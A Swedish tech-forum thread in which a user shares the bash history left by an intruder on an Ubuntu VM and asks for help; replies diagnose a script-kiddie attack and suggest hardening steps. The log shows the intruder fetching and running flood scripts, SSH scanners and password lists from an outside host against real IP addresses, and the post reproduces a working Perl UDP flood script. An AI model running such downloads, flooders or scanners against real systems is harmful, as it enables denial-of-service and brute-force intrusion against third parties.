Premiär! Fyndchans i SweClockers Månadens Drop
Permalänk
Medlem

Ubuntu VM hackad, men...

...dom verkar inte gjort något roligt ändå?

Hade somnat ifrån TV serierna jag kollade på igårkväll, vaknade upp strax efter midnatt då serierna laggade så fruktansvärt, streamade via min NAS, brukar ha rätt dålig WIFI på just den datorn jag kollade ifrån så tänkte inte det var något märkligt. Testade nätverket, var sjukt långsamt, testade internet, var nästan helt blockat, men brydde mig återigen inte så mycket för mitt internet brukar vara instabilt också

MEN nu i morse när jag vaknade igen så såg jag att en av mina Ubuntu VM:s såg ut såhär:

http://f.cl.ly/items/0D2t1g430x3B0O1A1W0J/lel.png

Blev lite orolig, testade mina 3 andra Ubuntu VM:s men det var bara min minst "värdefulla" VM som blivit hackad & ingen annan dator i mitt närverk var attackerad, vid första anblick.

Här är hela terminal loggen (varning: spoiler taggarna kan innehålla lång text):

274 cat /proc/cpuinfo
275 passwd
276 sudo su
277 wget http://112.196.51.235/test.py
278 ls
279 chmod +x *
280 ./test.py
281 python test.py
282 wget http://112.196.51.235/enzo
283 ls
284 perl enzo
285 clear
286 perl enzo 93.113.169.222 53 0
287 rm -f enzo
288 clear
289 ls
290 ifconfig
291 wget http://112.196.51.235/gosh.tar.gz
292 wget http://112.196.51.235/gosh.tgz
293 tar -zxvf gosh.tgz
294 cd gosh
295 touch bios.txt
296 chmod +x *
297 screen ./go.sh 37
298 sudo apt-get install screen
299 ./go.sh 37
300 cd
301 clear
302 exit
303 cat /proc/cpuinfo
304 wget http://112.196.51.235/udp.pl
305 clear
306 perl udp.pl 93.113.169.222 80 999 999
307 rm -f udp.pl
308 cd Deskop
309 ls
310 cd Deskop
311 cd /Desktop
312 cd Desktop
313 bash
314 cd bash
315 clear
316 wget http://112.196.51.235/bash/a
317 wget http://112.196.51.235/bash/a2
318 wget http://112.196.51.235/bashmass
319 wget http://112.196.51.235/bash/mass
320 wget http://112.196.51.235/bash/mass2
321 wget http://112.196.51.235/bash/passfile
322 wget http://112.196.51.235/bash/pscan
323 wget http://112.196.51.235/bash/pscan2
324 wget http://112.196.51.235/bash/scanssh
325 wget http://112.196.51.235/bash/trueusers.txt
326 clear
327 nano trueusers.txt
328 clear
329 chmod +x *
330 ./a2 64.64
331 sudo apt-get install openssh-server openssh-client
332 apt-cache search openssh
333 sudo apt-get install openssh-server
334 clear
335 ifconfig
336 wget http://112.196.51.235/bssh2/mass
337 cd bssh2
338 cd Desktop
339 cd bssh2
340 wget http://112.196.51.235/bssh2/mass
341 wget http://112.196.51.235/bssh2/pass.txt
342 wget http://112.196.51.235/bssh2/scan_user
343 wget http://112.196.51.235/bssh2/scan_root
344 wget http://112.196.51.235/bssh2/screen
345 wget http://112.196.51.235/bssh2/sss
346 wget http://112.196.51.235/bssh2/ss
347 wget http://112.196.51.235/bssh2/ssh2
348 chmod +x *
349 ./scan_user 93.114
350 ./scan_root 93.114
351 clear
352 cat /proc/cpuinfo
353 exit
354 ls
355 cat -proc-cpuinfo
356 nmap
357 history
358 screen +
359 screen +r
360 cat /proc/cpuinfo
361 ps aux
362 killall -9 perl
363 cd ++
364 cd ..
365 sudo +s
366 history +s
367 history /s
368 history -
369 history -s
370 exit
371 redis-cli MONITOR
372 sudo adduser test
373 cat /proc/cpuinfo
374 free -mt
375 clear
376 cat /proc/cpuinfo
377 clear
378 ls
379 perl test/py
380 perl test.py
381 clear
382 wget arhive112.tk/msq
383 clear
384 ls
385 nano msq
386 clear
387 ls
388 cd gosh
389 clear
390 ls
391 chmod +x *
392 ./go.sh 45
393 clear
394 cd ]
395 cd
396 clear
397 ifcofnig
398 ifconfig
399 clear
400 w
401 ls
402 perl msq 78.97.61.122

Dold text

Perl MSG

#!/usr/bin/perl use Socket; $ARGC=@ARGV; my ($ip,$port,$size,$time); $ip=$ARGV[0]; $port=$ARGV[0]; $time=$ARGV[0]; socket(crazy, PF_INET, SOCK_DGRAM, 17); $iaddr = inet_aton("$ip"); printf "[0;36m [Attack Started]====>> [#RooT] \n"; if ($ARGV[1] ==0 && $ARGV[2] ==0) { goto randpackets; } if ($ARGV[1] !=0 && $ARGV[2] !=0) { system("(sleep $time;killall -9 udp) &"); goto packets; } if ($ARGV[1] !=0 && $ARGV[2] ==0) { goto packets; } if ($ARGV[1] ==0 && $ARGV[2] !=0) { system("(sleep $time;killall -9 udp) &"); goto randpackets; } packets: for (;;) { $size=$rand x $rand x $rand; send(crazy, 0, $size, sockaddr_in($port, $iaddr)); } randpackets: for (;;) { $size=$rand x $rand x $rand; $port=(rand 65500) +1; send(crazy, 0, $size, sockaddr_in($port, $iaddr)); }

Dold text

Test.py

#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright 2012-2015 Matt Martz # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import os import re import sys import math import signal import socket import timeit import platform import threading __version__ = '0.3.4' # Some global variables we use user_agent = None source = None shutdown_event = None scheme = 'http' # Used for bound_interface socket_socket = socket.socket try: import xml.etree.cElementTree as ET except ImportError: try: import xml.etree.ElementTree as ET except ImportError: from xml.dom import minidom as DOM ET = None # Begin import game to handle Python 2 and Python 3 try: from urllib2 import urlopen, Request, HTTPError, URLError except ImportError: from urllib.request import urlopen, Request, HTTPError, URLError try: from httplib import HTTPConnection, HTTPSConnection except ImportError: e_http_py2 = sys.exc_info() try: from http.client import HTTPConnection, HTTPSConnection except ImportError: e_http_py3 = sys.exc_info() raise SystemExit('Your python installation is missing required HTTP ' 'client classes:\n\n' 'Python 2: %s\n' 'Python 3: %s' % (e_http_py2[1], e_http_py3[1])) try: from Queue import Queue except ImportError: from queue import Queue try: from urlparse import urlparse except ImportError: from urllib.parse import urlparse try: from urlparse import parse_qs except ImportError: try: from urllib.parse import parse_qs except ImportError: from cgi import parse_qs try: from hashlib import md5 except ImportError: from md5 import md5 try: from argparse import ArgumentParser as ArgParser except ImportError: from optparse import OptionParser as ArgParser try: import builtins except ImportError: def print_(*args, **kwargs): """The new-style print function taken from https://pypi.python.org/pypi/six/ """ fp = kwargs.pop("file", sys.stdout) if fp is None: return def write(data): if not isinstance(data, basestring): data = str(data) fp.write(data) want_unicode = False sep = kwargs.pop("sep", None) if sep is not None: if isinstance(sep, unicode): want_unicode = True elif not isinstance(sep, str): raise TypeError("sep must be None or a string") end = kwargs.pop("end", None) if end is not None: if isinstance(end, unicode): want_unicode = True elif not isinstance(end, str): raise TypeError("end must be None or a string") if kwargs: raise TypeError("invalid keyword arguments to print()") if not want_unicode: for arg in args: if isinstance(arg, unicode): want_unicode = True break if want_unicode: newline = unicode("\n") space = unicode(" ") else: newline = "\n" space = " " if sep is None: sep = space if end is None: end = newline for i, arg in enumerate(args): if i: write(sep) write(arg) write(end) else: print_ = getattr(builtins, 'print') del builtins class SpeedtestCliServerListError(Exception): """Internal Exception class used to indicate to move on to the next URL for retrieving speedtest.net server details """ def bound_socket(*args, **kwargs): """Bind socket to a specified source IP address""" global source sock = socket_socket(*args, **kwargs) sock.bind((source, 0)) return sock def distance(origin, destination): """Determine distance between 2 sets of [lat,lon] in km""" lat1, lon1 = origin lat2, lon2 = destination radius = 6371 # km dlat = math.radians(lat2 - lat1) dlon = math.radians(lon2 - lon1) a = (math.sin(dlat / 2) * math.sin(dlat / 2) + math.cos(math.radians(lat1)) * math.cos(math.radians(lat2)) * math.sin(dlon / 2) * math.sin(dlon / 2)) c = 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a)) d = radius * c return d def build_user_agent(): """Build a Mozilla/5.0 compatible User-Agent string""" global user_agent if user_agent: return user_agent ua_tuple = ( 'Mozilla/5.0', '(%s; U; %s; en-us)' % (platform.system(), platform.architecture()[0]), 'Python/%s' % platform.python_version(), '(KHTML, like Gecko)', 'speedtest-cli/%s' % __version__ ) user_agent = ' '.join(ua_tuple) return user_agent def build_request(url, data=None, headers={}): """Build a urllib2 request object This function automatically adds a User-Agent header to all requests """ if url[0] == ':': schemed_url = '%s%s' % (scheme, url) else: schemed_url = url headers['User-Agent'] = user_agent return Request(schemed_url, data=data, headers=headers) def catch_request(request): """Helper function to catch common exceptions encountered when establishing a connection with a HTTP/HTTPS request """ try: uh = urlopen(request) return uh, False except (HTTPError, URLError, socket.error): e = sys.exc_info()[1] return None, e class FileGetter(threading.Thread): """Thread class for retrieving a URL""" def __init__(self, url, start): self.url = url self.result = None self.starttime = start threading.Thread.__init__(self) def run(self): self.result = [0] try: if (timeit.default_timer() - self.starttime) <= 10: request = build_request(self.url) f = urlopen(request) while 1 and not shutdown_event.isSet(): self.result.append(len(f.read(10240))) if self.result[-1] == 0: break f.close() except IOError: pass def downloadSpeed(files, quiet=False): """Function to launch FileGetter threads and calculate download speeds""" start = timeit.default_timer() def producer(q, files): for file in files: thread = FileGetter(file, start) thread.start() q.put(thread, True) if not quiet and not shutdown_event.isSet(): sys.stdout.write('.') sys.stdout.flush() finished = [] def consumer(q, total_files): while len(finished) < total_files: thread = q.get(True) while thread.isAlive(): thread.join(timeout=0.1) finished.append(sum(thread.result)) del thread q = Queue(6) prod_thread = threading.Thread(target=producer, args=(q, files)) cons_thread = threading.Thread(target=consumer, args=(q, len(files))) start = timeit.default_timer() prod_thread.start() cons_thread.start() while prod_thread.isAlive(): prod_thread.join(timeout=0.1) while cons_thread.isAlive(): cons_thread.join(timeout=0.1) return (sum(finished) / (timeit.default_timer() - start)) class FilePutter(threading.Thread): """Thread class for putting a URL""" def __init__(self, url, start, size): self.url = url chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' data = chars * (int(round(int(size) / 36.0))) self.data = ('content1=%s' % data[0:int(size) - 9]).encode() del data self.result = None self.starttime = start threading.Thread.__init__(self) def run(self): try: if ((timeit.default_timer() - self.starttime) <= 10 and not shutdown_event.isSet()): request = build_request(self.url, data=self.data) f = urlopen(request) f.read(11) f.close() self.result = len(self.data) else: self.result = 0 except IOError: self.result = 0 def uploadSpeed(url, sizes, quiet=False): """Function to launch FilePutter threads and calculate upload speeds""" start = timeit.default_timer() def producer(q, sizes): for size in sizes: thread = FilePutter(url, start, size) thread.start() q.put(thread, True) if not quiet and not shutdown_event.isSet(): sys.stdout.write('.') sys.stdout.flush() finished = [] def consumer(q, total_sizes): while len(finished) < total_sizes: thread = q.get(True) while thread.isAlive(): thread.join(timeout=0.1) finished.append(thread.result) del thread q = Queue(6) prod_thread = threading.Thread(target=producer, args=(q, sizes)) cons_thread = threading.Thread(target=consumer, args=(q, len(sizes))) start = timeit.default_timer() prod_thread.start() cons_thread.start() while prod_thread.isAlive(): prod_thread.join(timeout=0.1) while cons_thread.isAlive(): cons_thread.join(timeout=0.1) return (sum(finished) / (timeit.default_timer() - start)) def getAttributesByTagName(dom, tagName): """Retrieve an attribute from an XML document and return it in a consistent format Only used with xml.dom.minidom, which is likely only to be used with python versions older than 2.5 """ elem = dom.getElementsByTagName(tagName)[0] return dict(list(elem.attributes.items())) def getConfig(): """Download the speedtest.net configuration and return only the data we are interested in """ request = build_request('://www.speedtest.net/speedtest-config.php') uh, e = catch_request(request) if e: print_('Could not retrieve speedtest.net configuration: %s' % e) sys.exit(1) configxml = [] while 1: configxml.append(uh.read(10240)) if len(configxml[-1]) == 0: break if int(uh.code) != 200: return None uh.close() try: try: root = ET.fromstring(''.encode().join(configxml)) config = { 'client': root.find('client').attrib, 'times': root.find('times').attrib, 'download': root.find('download').attrib, 'upload': root.find('upload').attrib} except AttributeError: # Python3 branch root = DOM.parseString(''.join(configxml)) config = { 'client': getAttributesByTagName(root, 'client'), 'times': getAttributesByTagName(root, 'times'), 'download': getAttributesByTagName(root, 'download'), 'upload': getAttributesByTagName(root, 'upload')} except SyntaxError: print_('Failed to parse speedtest.net configuration') sys.exit(1) del root del configxml return config def closestServers(client, all=False): """Determine the 5 closest speedtest.net servers based on geographic distance """ urls = [ '://www.speedtest.net/speedtest-servers-static.php', '://c.speedtest.net/speedtest-servers-static.php', '://www.speedtest.net/speedtest-servers.php', '://c.speedtest.net/speedtest-servers.php', ] errors = [] servers = {} for url in urls: try: request = build_request(url) uh, e = catch_request(request) if e: errors.append('%s' % e) raise SpeedtestCliServerListError serversxml = [] while 1: serversxml.append(uh.read(10240)) if len(serversxml[-1]) == 0: break if int(uh.code) != 200: uh.close() raise SpeedtestCliServerListError uh.close() try: try: root = ET.fromstring(''.encode().join(serversxml)) elements = root.getiterator('server') except AttributeError: # Python3 branch root = DOM.parseString(''.join(serversxml)) elements = root.getElementsByTagName('server') except SyntaxError: raise SpeedtestCliServerListError for server in elements: try: attrib = server.attrib except AttributeError: attrib = dict(list(server.attributes.items())) d = distance([float(client['lat']), float(client['lon'])], [float(attrib.get('lat')), float(attrib.get('lon'))]) attrib['d'] = d if d not in servers: servers[d] = [attrib] else: servers[d].append(attrib) del root del serversxml del elements except SpeedtestCliServerListError: continue # We were able to fetch and parse the list of speedtest.net servers if servers: break if not servers: print_('Failed to retrieve list of speedtest.net servers:\n\n %s' % '\n'.join(errors)) sys.exit(1) closest = [] for d in sorted(servers.keys()): for s in servers[d]: closest.append(s) if len(closest) == 5 and not all: break else: continue break del servers return closest def getBestServer(servers): """Perform a speedtest.net latency request to determine which speedtest.net server has the lowest latency """ results = {} for server in servers: cum = [] url = '%s/latency.txt' % os.path.dirname(server['url']) urlparts = urlparse(url) for i in range(0, 3): try: if urlparts[0] == 'https': h = HTTPSConnection(urlparts[1]) else: h = HTTPConnection(urlparts[1]) headers = {'User-Agent': user_agent} start = timeit.default_timer() h.request("GET", urlparts[2], headers=headers) r = h.getresponse() total = (timeit.default_timer() - start) except (HTTPError, URLError, socket.error): cum.append(3600) continue text = r.read(9) if int(r.status) == 200 and text == 'test=test'.encode(): cum.append(total) else: cum.append(3600) h.close() avg = round((sum(cum) / 6) * 1000, 3) results[avg] = server fastest = sorted(results.keys())[0] best = results[fastest] best['latency'] = fastest return best def ctrl_c(signum, frame): """Catch Ctrl-C key sequence and set a shutdown_event for our threaded operations """ global shutdown_event shutdown_event.set() raise SystemExit('\nCancelling...') def version(): """Print the version""" raise SystemExit(__version__) def speedtest(): """Run the full speedtest.net test""" global shutdown_event, source, scheme shutdown_event = threading.Event() signal.signal(signal.SIGINT, ctrl_c) description = ( 'Command line interface for testing internet bandwidth using ' 'speedtest.net.\n' '------------------------------------------------------------' '--------------\n' 'https://github.com/sivel/speedtest-cli') parser = ArgParser(description=description) # Give optparse.OptionParser an `add_argument` method for # compatibility with argparse.ArgumentParser try: parser.add_argument = parser.add_option except AttributeError: pass parser.add_argument('--bytes', dest='units', action='store_const', const=('byte', 1), default=('bit', 8), help='Display values in bytes instead of bits. Does ' 'not affect the image generated by --share') parser.add_argument('--share', action='store_true', help='Generate and provide a URL to the speedtest.net ' 'share results image') parser.add_argument('--simple', action='store_true', help='Suppress verbose output, only show basic ' 'information') parser.add_argument('--list', action='store_true', help='Display a list of speedtest.net servers ' 'sorted by distance') parser.add_argument('--server', help='Specify a server ID to test against') parser.add_argument('--mini', help='URL of the Speedtest Mini server') parser.add_argument('--source', help='Source IP address to bind to') parser.add_argument('--timeout', default=10, type=int, help='HTTP timeout in seconds. Default 10') parser.add_argument('--secure', action='store_true', help='Use HTTPS instead of HTTP when communicating ' 'with speedtest.net operated servers') parser.add_argument('--version', action='store_true', help='Show the version number and exit') options = parser.parse_args() if isinstance(options, tuple): args = options[0] else: args = options del options # Print the version and exit if args.version: version() socket.setdefaulttimeout(args.timeout) # Pre-cache the user agent string build_user_agent() # If specified bind to a specific IP address if args.source: source = args.source socket.socket = bound_socket if args.secure: scheme = 'https' if not args.simple: print_('Retrieving speedtest.net configuration...') try: config = getConfig() except URLError: print_('Cannot retrieve speedtest configuration') sys.exit(1) if not args.simple: print_('Retrieving speedtest.net server list...') if args.list or args.server: servers = closestServers(config['client'], True) if args.list: serverList = [] for server in servers: line = ('%(id)4s) %(sponsor)s (%(name)s, %(country)s) ' '[%(d)0.2f km]' % server) serverList.append(line) print_('\n'.join(serverList).encode('utf-8', 'ignore')) sys.exit(0) else: servers = closestServers(config['client']) if not args.simple: print_('Testing from %(isp)s (%(ip)s)...' % config['client']) if args.server: try: best = getBestServer(filter(lambda x: x['id'] == args.server, servers)) except IndexError: print_('Invalid server ID') sys.exit(1) elif args.mini: name, ext = os.path.splitext(args.mini) if ext: url = os.path.dirname(args.mini) else: url = args.mini urlparts = urlparse(url) try: request = build_request(args.mini) f = urlopen(request) except: print_('Invalid Speedtest Mini URL') sys.exit(1) else: text = f.read() f.close() extension = re.findall('upload_extension: "([^"]+)"', text.decode()) if not extension: for ext in ['php', 'asp', 'aspx', 'jsp']: try: request = build_request('%s/speedtest/upload.%s' % (args.mini, ext)) f = urlopen(request) except: pass else: data = f.read().strip() if (f.code == 200 and len(data.splitlines()) == 1 and re.match('size=[0-9]', data)): extension = [ext] break if not urlparts or not extension: print_('Please provide the full URL of your Speedtest Mini server') sys.exit(1) servers = [{ 'sponsor': 'Speedtest Mini', 'name': urlparts[1], 'd': 0, 'url': '%s/speedtest/upload.%s' % (url.rstrip('/'), extension[0]), 'latency': 0, 'id': 0 }] try: best = getBestServer(servers) except: best = servers[0] else: if not args.simple: print_('Selecting best server based on latency...') best = getBestServer(servers) if not args.simple: print_(('Hosted by %(sponsor)s (%(name)s) [%(d)0.2f km]: ' '%(latency)s ms' % best).encode('utf-8', 'ignore')) else: print_('Ping: %(latency)s ms' % best) sizes = [350, 500, 750, 1000, 1500, 2000, 2500, 3000, 3500, 4000] urls = [] for size in sizes: for i in range(0, 4): urls.append('%s/random%sx%s.jpg' % (os.path.dirname(best['url']), size, size)) if not args.simple: print_('Testing download speed', end='') dlspeed = downloadSpeed(urls, args.simple) if not args.simple: print_() print_('Download: %0.2f M%s/s' % ((dlspeed / 1000 / 1000) * args.units[1], args.units[0])) sizesizes = [int(.25 * 1000 * 1000), int(.5 * 1000 * 1000)] sizes = [] for size in sizesizes: for i in range(0, 25): sizes.append(size) if not args.simple: print_('Testing upload speed', end='') ulspeed = uploadSpeed(best['url'], sizes, args.simple) if not args.simple: print_() print_('Upload: %0.2f M%s/s' % ((ulspeed / 1000 / 1000) * args.units[1], args.units[0])) if args.share and args.mini: print_('Cannot generate a speedtest.net share results image while ' 'testing against a Speedtest Mini server') elif args.share: dlspeedk = int(round((dlspeed / 1000) * 8, 0)) ping = int(round(best['latency'], 0)) ulspeedk = int(round((ulspeed / 1000) * 8, 0)) # Build the request to send results back to speedtest.net # We use a list instead of a dict because the API expects parameters # in a certain order apiData = [ 'download=%s' % dlspeedk, 'ping=%s' % ping, 'upload=%s' % ulspeedk, 'promo=', 'startmode=%s' % 'pingselect', 'recommendedserverid=%s' % best['id'], 'accuracy=%s' % 1, 'serverid=%s' % best['id'], 'hash=%s' % md5(('%s-%s-%s-%s' % (ping, ulspeedk, dlspeedk, '297aae72')) .encode()).hexdigest()] headers = {'Referer': 'http://c.speedtest.net/flash/speedtest.swf'} request = build_request('://www.speedtest.net/api/api.php', data='&'.join(apiData).encode(), headers=headers) f, e = catch_request(request) if e: print_('Could not submit results to speedtest.net: %s' % e) sys.exit(1) response = f.read() code = f.code f.close() if int(code) != 200: print_('Could not submit results to speedtest.net') sys.exit(1) qsargs = parse_qs(response.decode()) resultid = qsargs.get('resultid') if not resultid or len(resultid) != 1: print_('Could not submit results to speedtest.net') sys.exit(1) print_('Share results: %s://www.speedtest.net/result/%s.png' % (scheme, resultid[0])) def main(): try: speedtest() except KeyboardInterrupt: print_('\nCancelling...') if __name__ == '__main__': main() # vim:ts=4:sw=4:expandtab

Dold text

Ser inte något roligt där, ser inte direkt någon förstörelse eller något, men vet ju inte vad alla inladdade script gör heller men allt på VM:en verkar helt orörd.

Iaf, har återställt VM:en till en backup som gjordes någon timme innan den blev kompromissad, MEN, varför var just denna VM:en? Var inget speciellt med denna, den var direkt inte "öppen" mot internet (ingen port redirect eller något i routern), hade flera andra VM i nätverket & massa andra datorer.

Hade inte heller öppnat upp root eller lagt till något nytt lösenord för root. Första loggen i terminalen var "cat /proc/cpuinfo" & sen passwd, sen hade personen full "su" rättigheter, så, jao, någon rolig exploit som användes eller något?

Så, någon annan som råkat ut för samma "attack", vad var syftet? Några tips hur jag kan täppa igenom hålet igen eller några andra funderingar & förslag ni har, skriv gärna.

Visa signatur

Hur kan syltkakor överleva i det vilda utan ögon?

Permalänk
Medlem

Något borde väl ha varit uppe om de har kunnat komma åt den utifrån.
De verkar ha försökt använda din VM till att scanna och hacka andra datorer. Finns nog en viss risk att din ISP kan få lite mindre roliga meddelanden från ägarna av dessa.

Permalänk
Medlem
Skrivet av Aene:

Något borde väl ha varit uppe om de har kunnat komma åt den utifrån.
De verkar ha försökt använda din VM till att scanna och hacka andra datorer. Finns nog en viss risk att din ISP kan få lite mindre roliga meddelanden från ägarna av dessa.

Den enda gången den KAN ha varit öppen är när jag tog med mig VM:en upp till stugan i några dagar som precis har fått fiber, där, av någon anledning har ISP:en vägrat ge oss tillgång till routerns inställningar så har ingen aning om hur "öppen" routern är där

Visa signatur

Hur kan syltkakor överleva i det vilda utan ögon?

Permalänk
Medlem
Skrivet av JesperA:

Den enda gången den KAN ha varit öppen är när jag tog med mig VM:en upp till stugan i några dagar som precis har fått fiber, där, av någon anledning har ISP:en vägrat ge oss tillgång till routerns inställningar så har ingen aning om hur "öppen" routern är där

OK. Antingen har den varit kopplad mot internet eller så borde du ha en till hackad maskin på ditt nätverk som är kopplad till internet. Baserat på terminalloggen har jag dock svårt att tänka mig att det är en så pass kunnig hacker att denne skulle kunna dölja att de hackat den andra maskinen om du har koll på loggar och så. Verkar mest som någon som försöker köra ett färdigt skript för att hacka så att de sedan kan berätta för kompisarna på skolan att de i helgen minsan hackat si och så många datorer.

Permalänk
Medlem

Men hur fick dom tag i ditt lösenord? Det bör dom ju fått tag i innan dom ens loggade in i din maskin.

Skickades från m.sweclockers.com

Permalänk
Medlem

Hade varit lättare om vi även fått tillgång till last/secure loggarna, så man lättare kunnat se var ifrån de hoppat/anslutit ifrån. Efter en snabbtitt på .bash_history ser det ut som någon scriptkiddie kört speedtest med hjälp av "test.py" för att kolla din bandbredd sen med hjälp av din VM gissningsvis belastat två olika IP-adresser. Även installerat screen, antaligen för att lägga processer i bakgrunden så du ej skall märka det. Du kan googla namnen av det mesta av skräpet han hämtat hem med wget för mera info, färdiggjorda script som inte kräver någon större erfarenhet mer än en youtube-guide för att exekvera.

Har du väldigt lätta lösenord? Några speciella tjänster som lyssnar, tex VNC eller liknande? (netstat -pant alternativt ss -l)
Jag hade nog ändrat lösenord, kolla din router, kolla även om det finns nyare firmware till den. Kolla alla dina öppnar portar i routern (skadar inte också med en snabb koll på https://www.grc.com/shieldsup för en liten snabb överblick).

Ser ut som ubuntu VNC Desktop Sharing/vino på bilden, du råkar inte ha "UPnP" aktiverat i inställningarna och ett enkelt lösenord?

Visa signatur

Intel Core i7 7700K | Asus ROG Strix Z270H | EVGA GeForce GTX 1080 Ti SC | Corsair Vengeance LPX 32GB 3000MHz | Corsair HX 650W